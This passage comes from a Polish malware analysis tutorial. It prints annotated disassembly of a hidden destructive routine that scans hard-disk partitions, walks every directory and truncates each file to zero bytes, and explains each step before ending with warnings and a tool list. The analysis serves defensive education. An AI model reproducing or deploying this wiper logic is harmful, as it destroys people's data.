...
call loc_161
aSetfileattribu db 'SetFileAttributesA',0
loc_161: ; CODE XREF: seg000:00000149 p
push [ebx+interfejs.hKernel32]
call [ebx+interfejs.GetProcAddress] ; adresy procedur WinApi
mov [ebx+interfejs.SetFileAttributesA], eax
lea edi, [ebx+interfejs.stFindData] ; WIN32_FIND_DATA
call skanuj_dyski ; skanowanie stacji dysków
sub eax, eax
inc eax
pop ebx
pop edi
pop esi
leave
retn 4 ; tutaj kończy się działanie wątku
Gdy już pobrane zostaną wszystkie adresy procedur, zostaje uruchomiona procedura sprawdzająca kolejne stacje dysków. Skanowanie rozpoczyna się od stacji oznaczonej literą „Y:\” schodząc w dół do „C:\”:
skanuj_dyski proc near ; CODE XREF: seg000:0000016Cp
var_28 = byte ptr -28h
pusha
push '\:Y' ; skanowanie dysków zaczyna się od dysku Y:\
nastepny_dysk: ; CODE XREF: skanuj_dyski+20j
push esp ; adres nazwy dysku na stosie (Y:\, X:\, W:\ itd.)
call [ebx+interfejs.GetDriveTypeA] ; GetDriveTypeA
sub eax, 3
cmp eax, 1
ja short cdrom_itp ; kolejna litera dysku twardego
mov edx, esp
call wymaz_pliki
cdrom_itp: ; CODE XREF: skanuj_dyski+10j
dec byte ptr [esp+0] ; kolejna litera dysku twardego
cmp byte ptr [esp+0], 'C' ; sprawdź, czy doszło do dysku C:\
jnb short nastepny_dysk ; powtarzaj skanowanie kolejnego dysku
pop ecx
popa
retn
skanuj_dyski endp
Do określenia typu stacji wykorzystywana
jest funkcja GetDriveTypeA()
, która po podaniu litery partycji, zwraca
jej typ. Powyższy kod poszukuje jedynie standardowych partycji dysków twardych,
pomijając takie urządzenia jak stacje CD-ROM i dyski sieciowe. Gdy wykryta
zostanie poprawna partycja, zostaje uruchomiony rekursywny skaner wszystkich
jej katalogów (procedura „wymaz_pliki”):
wymaz_pliki proc near ; CODE XREF: skanuj_dyski+14p
; wymaz_pliki+28p
pusha
push edx
call [ebx+interfejs.SetCurrentDirectoryA]
push '*' ; maska szukanych plików
mov eax, esp
push edi
push eax
call [ebx+interfejs.FindFirstFileA]
pop ecx
mov esi, eax
inc eax
jz short nie_ma_wiecej_plikow
znaleziono_plik: ; CODE XREF: wymaz_pliki+39j
test byte ptr [edi], 16 ; czy to katalog?
jnz short znaleziono_katalog
call zeruj_rozmiar_pliku
jmp short szukaj_nastepnego_pliku
znaleziono_katalog: ; CODE XREF: wymaz_pliki+17j
lea edx, [edi+2Ch]
cmp byte ptr [edx], '.'
jz short szukaj_nastepnego_pliku
call wymaz_pliki ; rekursywne skanowanie katalogów
szukaj_nastepnego_pliku: ; CODE XREF: wymaz_pliki+1Ej
; wymaz_pliki+26j
push 5
call [ebx+interfejs.Sleep]
push edi
push esi
call [ebx+interfejs.FindNextFileA]
test eax, eax
jnz short znaleziono_plik ; czy to katalog?
nie_ma_wiecej_plikow: ; CODE XREF: seg000:0000003Aj
; wymaz_pliki+12j
push esi
call [ebx+interfejs.FindClose]
push '..' ; cd ..
push esp
call [ebx+interfejs.SetCurrentDirectoryA]
pop ecx
popa
retn
wymaz_pliki endp
Skaner wykorzystując funkcje FindFirstFile()
,
FindNextFile()
i SetCurrentDirectory()
, skanuje całą zawartość
partycji w poszukiwaniu wszystkich rodzajów plików, o czym mówi nam zastosowana
maska „*” dla procedury FindFirstFile()
. Jeśli zostanie
znaleziony plik (o dowolnej nazwie i dowolnym rozszerzeniu), wywoływana jest
procedura zeruj_rozmiar_pliku
, która stanowi o destrukcyjności
analizowanego programu:
zeruj_rozmiar_pliku proc near ; CODE XREF: wymaz_pliki+19p
pusha
mov eax, [edi+20h] ; rozmiar pliku
test eax, eax ; jeśli ma 0 bajtów, omiń go
jz short pomin_plik
lea eax, [edi+2Ch] ; nazwa pliku
push 20h ; ' ' ; nowe atrybuty dla pliku
push eax ; nazwa pliku
call [ebx+interfejs.SetFileAttributesA] ; ustaw atrybuty pliku
lea eax, [edi+2Ch]
sub edx, edx
push edx
push 80h ; 'Ç'
push 3
push edx
push edx
push 40000000h
push eax
call [ebx+interfejs.CreateFileA]
inc eax ; czy otwarcie pliku się powidło?
jz short pomin_plik ; jeśli nie, nie zeruj pliku
dec eax
xchg eax, esi ; uchwyt pliku wgraj do rejestru ESI
push 0 ; ustaw wskaźnik pliku od jego początku (FILE_BEGIN)
push 0
push 0 ; adres na jaki ustawić wskaźnik pliku
push esi ; uchwyt pliku
call [ebx+interfejs.SetFilePointer]
push esi ; ustaw koniec pliku na bieżący wskaźnik (początek pliku),
; co sprawi, że plik zostanie skrócony do 0 bajtów
call [ebx+interfejs.SetEndOfFile]
push esi ; zamknij plik
call [ebx+interfejs.CloseHandle]
pomin_plik: ; CODE XREF: zeruj_rozmiar_pliku+6j
; zeruj_rozmiar_pliku+2Aj
popa
retn
zeruj_rozmiar_pliku endp
Kolejnemu znalezionemu plikowi
zostaje ustawiony atrybut „archiwalny”, wykorzystana jest do tego
funkcja SetFileAttributesA()
, dzięki temu zostają usunięte inne
atrybuty, w tym „tylko do odczytu” (jeśli takie były ustawione),
chroniące plik przed zapisem.
Następnie plik jest otwierany
funkcją CreateFileA()
i jeśli otwarcie pliku się powiodło, wskaźnik
pliku zostaje ustawiony na jego początek. Do tego celu użyta została funkcja SetFilePointer()
,
której pierwszy parametr FILE_BEGIN
określa sposób, w jaki chcemy
ustawić wskaźnik (zaczynając od jego początku, używając innych parametrów np. FILE_CURRENT
można ustawiać wskaźnik pliku od miejsca, w którym obecnie się znajdujemy, np.
w wyniku wcześniejszego odczytywania pliku).
Po ustawieniu wskaźnika na
początek pliku, wywoływana jest funkcja SetEndOfFile()
, której zadaniem
jest ustalenie nowego rozmiaru pliku, wykorzystując do tego bieżącą pozycję
wskaźnika w pliku. W tym przypadku wskaźnik pliku ustawiony został wcześniej na
sam początek i tym samym plik po tej operacji ma zero bajtów. Po ten operacji „ukrócania”
pliku, kod wraca do rekursywnego skanowania kolejnych katalogów w poszukiwaniu
innych plików.
Wnioski
Analiza powyższego przykładu pozwoliła nam bez uruchamiania pliku wykonywalnego, określić jego ogólną budowę, język w którym został napisany, strukturę zasobów, oraz dogłębnie zrozumieć zasadę jego działania, wyszukać ukryty kod i określić jego zachowanie. Uzyskane wyniki pozwalają nam stwierdzić, że efekty działania tego małego pliku nie należą do przyjemnych, ze wszystkich dostępnych partycji dysków twardych, kolejno znalezione pliki maja ustawiane rozmiary na zero bajtów, w przypadku jakichś cennych danych, strata może być naprawdę bolesna. Nawet pomimo używania najnowszych programów antywirusowych, warto czasami zastanowić się nad uruchamianiem podejrzanych plików ściągniętych z Internetu, wprawdzie nie każdy niesie ze sobą zniszczenie, ale jak pokazuje powyższy przykład, czasami trafi się ktoś, kto świadomie będzie chciał wykorzystać naszą naiwność i właśnie przez tą naiwność, możemy słono zapłacić.
Użyte narzędzia (i nie tylko)
Deasembler IDA Demo for PE | www.hex-rays.com |
Hexedytor Hiew | www.hiew.ru |
Identyfikator plików PEiD | www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml |
Identyfikator FileInfo | |
Edytor zasobów ExeScope | www.softpedia.com/get/Programming/File-Editors/eXeScope.shtml |
Darmowy debugger OllyDbg | www.ollydbg.de |
Wiele przydatnych narzędzi do analizy plików binarnych | |
Steganografia w internecie |